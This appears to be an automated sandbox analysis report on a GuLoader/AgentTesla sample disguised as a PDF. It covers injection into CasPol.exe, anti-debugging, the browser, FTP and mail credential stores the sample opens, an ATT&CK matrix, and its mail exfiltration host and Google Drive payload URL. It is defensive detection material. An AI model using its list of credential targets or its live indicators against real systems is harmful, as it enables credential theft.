            Source: 008s06523610054680b6011375030062022.pdf.exe, 00000002.00000002.1527844677.0000000002D39000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_70691BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,2_2_70691BFF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BA2EBB rdtsc 2_2_02BA2EBB
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: DebugJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB07FA mov eax, dword ptr fs:[00000030h]2_2_02BB07FA
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB07F7 mov eax, dword ptr fs:[00000030h]2_2_02BB07F7
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB04A1 mov eax, dword ptr fs:[00000030h]2_2_02BB04A1
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB040E mov eax, dword ptr fs:[00000030h]2_2_02BB040E
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0471 mov eax, dword ptr fs:[00000030h]2_2_02BB0471
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC4C60 mov eax, dword ptr fs:[00000030h]2_2_02BC4C60
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0596 mov ebx, dword ptr fs:[00000030h]2_2_02BB0596
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0596 mov eax, dword ptr fs:[00000030h]2_2_02BB0596
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BB0589 mov eax, dword ptr fs:[00000030h]2_2_02BB0589
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC6DCF mov eax, dword ptr fs:[00000030h]2_2_02BC6DCF
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAFD6C mov eax, dword ptr fs:[00000030h]2_2_02BAFD6C
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BAF14B mov eax, dword ptr fs:[00000030h]2_2_02BAF14B
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess queried: DebugPortJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_02BC4C70 LdrLoadDll,2_2_02BC4C70
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: page read and write | page guardJump to behavior

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe base: C00000Jump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Users\user\Desktop\008s06523610054680b6011375030062022.pdf.exeCode function: 2_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040352D

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5000, type: MEMORYSTR
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xmlJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: Yara matchFile source: 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5000, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 5000, type: MEMORYSTR
            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Valid Accounts211
            Windows Management Instrumentation
            1
            DLL Side-Loading
            1
            DLL Side-Loading
            1
            Disable or Modify Tools
            2
            OS Credential Dumping
            2
            File and Directory Discovery
            Remote Services1
            Archive Collected Data
            Exfiltration Over Other Network Medium1
            Ingress Tool Transfer
            Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
            System Shutdown/Reboot
            Default Accounts1
            Native API
            Boot or Logon Initialization Scripts1
            Access Token Manipulation
            11
            Obfuscated Files or Information
            1
            Credentials in Registry
            127
            System Information Discovery
            Remote Desktop Protocol2
            Data from Local System
            Exfiltration Over Bluetooth11
            Encrypted Channel
            Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
            Domain AccountsAt (Linux)Logon Script (Windows)111
            Process Injection
            1
            DLL Side-Loading
            Security Account Manager331
            Security Software Discovery
            SMB/Windows Admin Shares1
            Email Collection
            Automated Exfiltration1
            Non-Standard Port
            Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)111
            Masquerading
            NTDS1
            Process Discovery
            Distributed Component Object Model1
            Clipboard Data
            Scheduled Transfer2
            Non-Application Layer Protocol
            SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script241
            Virtualization/Sandbox Evasion
            LSA Secrets241
            Virtualization/Sandbox Evasion
            SSHKeyloggingData Transfer Size Limits23
            Application Layer Protocol
            Manipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.common1
            Access Token Manipulation
            Cached Domain Credentials1
            Application Window Discovery
            VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup Items111
            Process Injection
            DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 743398 Sample: 008s06523610054680b60113750... Startdate: 10/11/2022 Architecture: WINDOWS Score: 100 22 mail.ardsmmm.com 2->22 24 googlehosted.l.googleusercontent.com 2->24 26 3 other IPs or domains 2->26 34 Multi AV Scanner detection for submitted file 2->34 36 Yara detected GuLoader 2->36 38 Yara detected AgentTesla 2->38 40 3 other signatures 2->40 8 008s06523610054680b6011375030062022.pdf.exe 5 41 2->8         started        signatures3 process4 file5 20 C:\Users\user\AppData\Local\...\System.dll, PE32 8->20 dropped 42 Writes to foreign memory regions 8->42 44 Tries to detect Any.run 8->44 12 CasPol.exe 11 8->12         started        16 CasPol.exe 8->16         started        signatures6 process7 dnsIp8 28 ardsmmm.com 185.111.247.38, 49803, 587 MUVHOSTTR Turkey 12->28 30 drive.google.com 142.250.185.142, 443, 49800 GOOGLEUS United States 12->30 32 googlehosted.l.googleusercontent.com 142.250.185.225, 443, 49801 GOOGLEUS United States 12->32 46 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 12->46 48 Tries to steal Mail credentials (via file / registry access) 12->48 50 Tries to harvest and steal ftp login credentials 12->50 56 2 other signatures 12->56 18 conhost.exe 12->18         started        52 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 16->52 54 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 16->54 signatures9 process10

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            008s06523610054680b6011375030062022.pdf.exe41%VirustotalBrowse
            008s06523610054680b6011375030062022.pdf.exe46%ReversingLabsWin32.Trojan.Nulloader
            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Temp\nsu6C45.tmp\System.dll0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\nsu6C45.tmp\System.dll4%MetadefenderBrowse
            No Antivirus matches
            SourceDetectionScannerLabelLink
            ardsmmm.com0%VirustotalBrowse
            mail.ardsmmm.com0%VirustotalBrowse
            SourceDetectionScannerLabelLink
            http://www.acabogacia.org/doc00%Avira URL Cloudsafe
            http://127.0.0.1:HTTP/1.10%Avira URL Cloudsafe
            http://www.e-me.lv/repository00%VirustotalBrowse
            http://crl.chambersign.org/chambersroot.crl00%Avira URL Cloudsafe
            http://www.certplus.com/CRL/class3.crl00%Avira URL Cloudsafe
            http://www.e-me.lv/repository00%Avira URL Cloudsafe
            http://www.acabogacia.org/doc01%VirustotalBrowse
            http://crl.chambersign.org/chambersroot.crl00%VirustotalBrowse
            http://ocsp.suscerte.gob.ve00%Avira URL Cloudsafe
            http://www.postsignum.cz/crl/psrootqca2.crl020%Avira URL Cloudsafe
            http://crl.dhimyotis.com/certignarootca.crl00%Avira URL Cloudsafe
            http://www.chambersign.org10%Avira URL Cloudsafe
            http://www.pkioverheid.nl/policies/root-policy00%Avira URL Cloudsafe
            http://www.suscerte.gob.ve/lcr0#0%Avira URL Cloudsafe
            http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz00%Avira URL Cloudsafe
            http://crl.ssc.lt/root-c/cacrl.crl00%Avira URL Cloudsafe
            http://postsignum.ttc.cz/crl/psrootqca2.crl00%Avira URL Cloudsafe
            http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl0%Avira URL Cloudsafe
            http://ca.disig.sk/ca/crl/ca_disig.crl00%Avira URL Cloudsafe
            http://crl1.comsign.co.il/crl/comsignglobalrootca.crl00%Avira URL Cloudsafe
            http://www.certplus.com/CRL/class3P.crl00%Avira URL Cloudsafe
            http://www.suscerte.gob.ve/dpc00%Avira URL Cloudsafe
            http://www.certplus.com/CRL/class2.crl00%Avira URL Cloudsafe
            http://www.disig.sk/ca/crl/ca_disig.crl00%Avira URL Cloudsafe
            http://www.defence.gov.au/pki00%Avira URL Cloudsafe
            http://www.sk.ee/cps/00%Avira URL Cloudsafe
            http://www.globaltrust.info0=0%Avira URL Cloudsafe
            http://cps.root-x1.letsencrypt.org00%Avira URL Cloudsafe
            http://policy.camerfirma.com00%Avira URL Cloudsafe
            http://www.ssc.lt/cps030%Avira URL Cloudsafe
            http://ocsp.pki.gva.es00%Avira URL Cloudsafe
            http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?0%Avira URL Cloudsafe
            http://ca.mtin.es/mtin/ocsp00%Avira URL Cloudsafe
            http://cps.letsencrypt.org00%Avira URL Cloudsafe
            http://crl.ssc.lt/root-b/cacrl.crl00%Avira URL Cloudsafe
            http://web.ncdc.gov.sa/crl/nrcacomb1.crl00%Avira URL Cloudsafe
            http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G0%Avira URL Cloudsafe
            https://wwww.certigna.fr/autorites/0m0%Avira URL Cloudsafe
            http://www.dnie.es/dpc00%Avira URL Cloudsafe
            http://www.ica.co.il/repository/cps/PersonalID_Practice_Statement.pdf00%Avira URL Cloudsafe
            https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www0%Avira URL Cloudsafe
            http://ca.mtin.es/mtin/DPCyPoliticas00%Avira URL Cloudsafe
            http://www.globaltrust.info00%Avira URL Cloudsafe
            http://ac.economia.gob.mx/last.crl0G0%Avira URL Cloudsafe
            https://www.catcert.net/verarrel0%Avira URL Cloudsafe
            http://www.disig.sk/ca0f0%Avira URL Cloudsafe
            http://www.sk.ee/juur/crl/00%Avira URL Cloudsafe
            http://crl.chambersign.org/chambersignroot.crl00%Avira URL Cloudsafe
            http://crl.xrampsecurity.com/XGCA.crl00%Avira URL Cloudsafe
            http://certs.oati.net/repository/OATICA2.crl00%Avira URL Cloudsafe
            http://crl.oces.trust2408.com/oces.crl00%Avira URL Cloudsafe
            http://crl.ssc.lt/root-a/cacrl.crl00%Avira URL Cloudsafe
            http://certs.oaticerts.com/repository/OATICA2.crl0%Avira URL Cloudsafe
            http://www.trustdst.com/certificates/policy/ACES-index.html00%Avira URL Cloudsafe
            http://certs.oati.net/repository/OATICA2.crt00%Avira URL Cloudsafe
            http://www.accv.es000%Avira URL Cloudsafe
            http://www.pkioverheid.nl/policies/root-policy-G200%Avira URL Cloudsafe
            https://www.netlock.net/docs0%Avira URL Cloudsafe
            http://www.e-trust.be/CPS/QNcerts0%Avira URL Cloudsafe
            http://ocsp.ncdc.gov.sa00%Avira URL Cloudsafe
            http://fedir.comsign.co.il/crl/ComSignCA.crl00%Avira URL Cloudsafe
            http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl00%Avira URL Cloudsafe
            http://web.ncdc.gov.sa/crl/nrcaparta1.crl0%Avira URL Cloudsafe
            http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;0%Avira URL Cloudsafe
            http://mail.ardsmmm.com0%Avira URL Cloudsafe
            http://EbMTHD.com0%Avira URL Cloudsafe
            https://repository.luxtrust.lu00%Avira URL Cloudsafe
            http://cps.chambersign.org/cps/chambersroot.html00%Avira URL Cloudsafe
            http://www.acabogacia.org00%Avira URL Cloudsafe
            http://www.uce.gub.uy/acrn/acrn.crl00%Avira URL Cloudsafe
            http://ardsmmm.com0%Avira URL Cloudsafe
            http://crl.securetrust.com/SGCA.crl00%Avira URL Cloudsafe
            http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt00%Avira URL Cloudsafe
            http://www.agesic.gub.uy/acrn/acrn.crl0)0%Avira URL Cloudsafe
            http://crl.securetrust.com/STCA.crl00%Avira URL Cloudsafe
            http://www.rcsc.lt/repository00%Avira URL Cloudsafe
            http://www2.postsignum.cz/crl/psrootqca2.crl010%Avira URL Cloudsafe
            NameIPActiveMaliciousAntivirus DetectionReputation
            drive.google.com
            142.250.185.142
            truefalse
              high
              ardsmmm.com
              185.111.247.38
              truefalseunknown
              googlehosted.l.googleusercontent.com
              142.250.185.225
              truefalse
                high
                doc-08-2c-docs.googleusercontent.com
                unknown
                unknownfalse
                  high
                  mail.ardsmmm.com
                  unknown
                  unknownfalseunknown
                  NameMaliciousAntivirus DetectionReputation
                  https://doc-08-2c-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/v1ohnk8onm1cb9e2ovt0bpcco65eo93j/1668108900000/13254490670465695558/*/1cc1XgOFqWbufLdeULcCvdD6jeUzSh58O?e=download&uuid=367e4c92-b7a2-4967-b3bb-34165439c218false
                    high
                    NameSourceMaliciousAntivirus DetectionReputation
                    http://127.0.0.1:HTTP/1.1CasPol.exe, 00000005.00000002.5881882931.000000001D3A1000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    low
                    http://www.certplus.com/CRL/class3.crl0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    unknown
                    http://www.e-me.lv/repository0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                    • 0%, Virustotal, Browse
                    • Avira URL Cloud: safe
                    unknown
                    http://www.acabogacia.org/doc0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                    • 1%, Virustotal, Browse
                    • Avira URL Cloud: safe
                    unknown
                    http://crl.chambersign.org/chambersroot.crl0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                    • 0%, Virustotal, Browse
                    • Avira URL Cloud: safe
                    unknown
                    http://ocsp.suscerte.gob.ve0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    unknown
                    http://www.postsignum.cz/crl/psrootqca2.crl02CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    unknown
                    http://crl.dhimyotis.com/certignarootca.crl0CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    unknown
                    http://sertifikati.ca.posta.rs/crl/PostaCARoot.crl0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                      high
                      http://www.chambersign.org1CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      unknown
                      http://www.pkioverheid.nl/policies/root-policy0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      unknown
                      http://repository.swisssign.com/0CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                        high
                        http://www.suscerte.gob.ve/lcr0#CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://ca2.mtin.es/mtin/crl/MTINAutoridadRaiz0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://crl.ssc.lt/root-c/cacrl.crl0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://postsignum.ttc.cz/crl/psrootqca2.crl0CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crlCasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://ca.disig.sk/ca/crl/ca_disig.crl0CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://crl1.comsign.co.il/crl/comsignglobalrootca.crl0CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://www.certplus.com/CRL/class3P.crl0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://www.suscerte.gob.ve/dpc0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://www.certplus.com/CRL/class2.crl0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://www.disig.sk/ca/crl/ca_disig.crl0CasPol.exe, 00000005.00000003.1636946210.000000002031E000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        unknown
                        http://eca.hinet.net/repository/Certs/IssuedToThisCA.p7b05CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                          high
                          http://www.defence.gov.au/pki0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          unknown
                          https://drive.google.com/CasPol.exe, 00000005.00000002.5856655006.0000000000FA9000.00000004.00000020.00020000.00000000.sdmpfalse
                            high
                            http://www.sk.ee/cps/0CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            unknown
                            http://www.globaltrust.info0=CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            low
                            http://www.anf.esCasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                              high
                              http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_1_0.pdf09CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                high
                                http://pki.registradores.org/normativa/index.htm0CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  high
                                  http://cps.root-x1.letsencrypt.org0CasPol.exe, 00000005.00000002.5899554401.000000001F69E000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://policy.camerfirma.com0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.ssc.lt/cps03CasPol.exe, 00000005.00000003.1636763366.0000000020304000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637056195.000000002032D000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://ocsp.pki.gva.es0CasPol.exe, 00000005.00000003.1638550380.000000001F6D7000.00000004.00000800.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  unknown
                                  http://www.anf.es/es/address-direccion.htmlCasPol.exe, 00000005.00000003.1638051026.00000000202F8000.00000004.00000800.00020000.00000000.sdmpfalse
                                    high
                                    https://www.anf.es/address/)1(0&CasPol.exe, 00000005.00000003.1664017290.00000000202C6000.00000004.00000800.00020000.00000000.sdmpfalse
                                      high
                                      http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?CasPol.exe, 00000005.00000003.1664346834.000000001F6D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      http://ca.mtin.es/mtin/ocsp0CasPol.exe, 00000005.00000003.1637885598.00000000202E2000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
                                      http://cps.letsencrypt.org0CasPol.exe, 00000005.00000002.5900337811.000000001F6C7000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5884963111.000000001D4B2000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000003.1664872739.000000001F6AF000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000005.00000002.5899018738.000000001F66D000.00000004.00000800.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: safe
                                      unknown
